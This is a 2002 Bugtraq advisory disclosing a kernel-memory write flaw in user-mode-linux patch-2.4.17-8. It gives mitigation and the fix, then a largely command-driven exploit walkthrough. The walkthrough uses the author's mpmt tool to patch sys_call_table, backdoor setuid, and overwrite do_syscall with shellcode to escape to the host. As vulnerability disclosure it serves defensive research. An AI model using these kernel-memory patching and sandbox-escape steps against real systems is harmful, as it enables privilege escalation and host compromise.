Bugtraq mailing list archives

user-mode-linux problems


From: "Andrew Griffiths" <andrewg () tasmail com>
Date: Mon, 28 Jan 2002 13:16:57 +1100 (EST)

Program: User-mode-linux
Version tested: patch-2.4.17-8 [ I assume all previous versions would be ]
Not vulnerable: patch-2.4.17-9 [ Haven't tested any different techniques.]

Now for something completely different. Anything in []'s is my comments to
my article... deal with it.

Description:
------------

User-mode-linux is used to enchance kernel development by providing a debuggable
kernel, and also as a safebox for some applications.

[ Hereafter, uml refers to user-mode-linux. ]

Problem:
--------

A user proccess can write into kernel memory, which will allow a person to get root inside the uml "box", and the 
possibility to break out of the uml "box", into the real one.

This can happen even if the jail and honeypot options are turned on. [ Though I suspect the version i was testing was 
half-way through implementing them ]

Some effects can happen, such as causing the uml processes to die, and making a
process chew up heaps of cpu time indefinately.

Reproducing:
------------

I used the small debian 2.2 root fs to play around with, on a host kernel of
2.4.17ctx-5 (vserver context security patch).

To start it up I used:
[andrewg@blackhole linux]$ ./linux ubd0=debcow,root_fs_debian2.2_small jail=1 honeypot=1 jail honeypot

[ I'm being doubly cautious, and looking at the jail setup code, I don't think 
it would have been bothered by my putting it in their twice. ]

Mitigation:
-----------

Well, to prevent some of the problems, I suggest running the uml in a chroot()ed
enviroment, with memory and cpu restrictions turned on.

Not allow people to run their own code. Well, thats rather tricky, since if 
they can overflow anything (just a normal program) and execute code of their 
own choosing, you have pretty much lost already...

[ Free tip for those who use it for high security. Put all the binaries on a 
seperate ubd device, and leave make it non-writable by the uml process. That 
way you don't have the replaced-replaced-binary problem, however, /bin would be hard to do. ]

Fix:
----

Upgrade.

Exploit:
--------

There is no exploit as such yet, just a tool to help you exploit it. Attached 
is a program for you to play around with.

This program is somewhat simple, and definately not finished. However, it does everything I needed it do, plus a couple 
of other things.

For the commands you don't specify the offset for sys_call_table, it uses the
built in one at 0xa019f650. [ Which is nolonger valid for my ./linux, and most
likely not for your system. ]

[andrewg@blackhole mpmt]$ ./mpmt -h
./mpmt: invalid option -- h [ Hey, I said it wasn't finished. ]
Multi-Purpose Modification Tool v0.6 by Andrew Griffiths
./mpmt -1 [ -2 ] [ -o ] [ -p | -f | -s ] [ -r ]

./mpmt -o 0xa020ee1f -p -1 61
        Would print out the offset of chroot at the sys_call_table
        location of 0xa020ee1f

./mpmt -1 23 -2 36
        Would replace setuid()'s location in sys_call_table with
        sync()s function.

./mpmt -1 23 -2 36 -r
        Would replace setuid()'s location in sys_call_table with
        sync()s function, and restore it back to it would in n
        seconds. (time default is 30 seconds)

For values of these numbers, look in /usr/include/asm/unistd.h

Also, you can do abiratory read and writes on kernel memory,
with the -a for the address, -c for how much to copy, -R to
read, and -W to write and -F to specify file.
[andrewg@blackhole mpmt]$

To do things like play around with the sys_call_table, you'll need the
address of it. To get it, just do:

[andrewg@blackhole linux]$ nm -a linux | grep sys_call_table
a01bb744 D sys_call_table
00000000 a sys_call_table.c
[andrewg@blackhole linux]$

and the first address is the sys_call_table. I haven't looked into determining 
the sys_call_table address while you're in it. I suspect it could be done by
looking at the kernel memory (which is an elf file), and finding the address
via the global offset table, or something. If it isn't stripped, you should be 
laughing. Once you can work these out, you should be able to write a version
independant exploit.

Since you've already seen some of the things it does, I'll explain the bottom 
parts.

To get a copy of the first 256 bytes of the sys_call_table struct, and to dump
it into systable:

andrewg@usermode:~$ ./mpmt -a 0xa01bb744 -c 256 -R -F systable

To get the first 2048 bytes of setuid so you can backdoor it:

andrewg@usermode:~$ ./mpmt -o 0xa01bb744 -p -1 23
Location in memory where function 23 is 0xa0018024
andrewg@usermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -R
andrewg@usermode:~$ [ Now run ndisasm and patch and then run... ]
andrewg@usermode:~$ ./mpmt -a 0xa0018024 -c 2048 -F setuid.dump -W

The sharp reader will have already noticed that we could replace the getuid
with a harmless syscall such as sync, and then call su || su -c "shell script" 
to do what we want. However, on my system, there's a couple of problems, like it
starting of way too many su proccess's or them dying straight away. However the
-c one seems to work...

[ News just in... ]

And now for the ultimate exploit against User-mode-linux: Breaking out of it.
To break out of uml, you need to cause the tracer program to execute code of 
your choosing. [ No shit!?! Thats because the tracer pid isn't running being 
ptraced itself. Sidenote: If you could kill the tracer, you might be able to
execute cide... ] We can accomplice this by writing into certain areas of
memory... The function I have choose to target is do_syscall. 

Now, for the exploitation:

[andrewg@blackhole andrewg]$ nm -a /usr/src/linux/linux | grep do_syscall
a01000f0 T do_syscall
[andrewg@blackhole andrewg]$ cat /tmp/sh <<_EOF_
#!/bin/sh
echo OWNED > /tmp/umlisbroken
_EOF_
[andrewg@blackhole andrewg]$ chmod +x /tmp/sh

And now for the usermode linux part, where ex is just a program that spits out
standard Aleph1 (Phrack 49) shellcode.

andrewg@usermode:~$ ./ex | sed s/bin/tmp/ > exploit_code
andrewg@usermode:~$ ./mpmt -a 0xa01000f0 -c 43 -W -F exploit_code 

At this point, the screen where you started UML, is probably a message like:
Kernel panic: Error mapping a page - errno = 9 [ Bad File descriptor ]

I suspect its trying to mmap() a page from somewhere with a fd that isn't valid
for the real kernel. (Cause it's no longer being ptrace()d.)

And now [Drum roll please]

[andrewg@blackhole andrewg]$ cat /tmp/umlisbroken
OWNED
[andrewg@blackhole andrewg]$ 

You may be asking why the shellcode doesn't do anything more interesting than 
exec()ing /tmp/sh, well, you gotta remember this is for "proof of concept"...

Don't forget to do a "killall -9 linux" and restart it, cause you've just 
killed it....




--
www.tasmail.com

Attachment: mpmt.tgz
Description:


Current thread: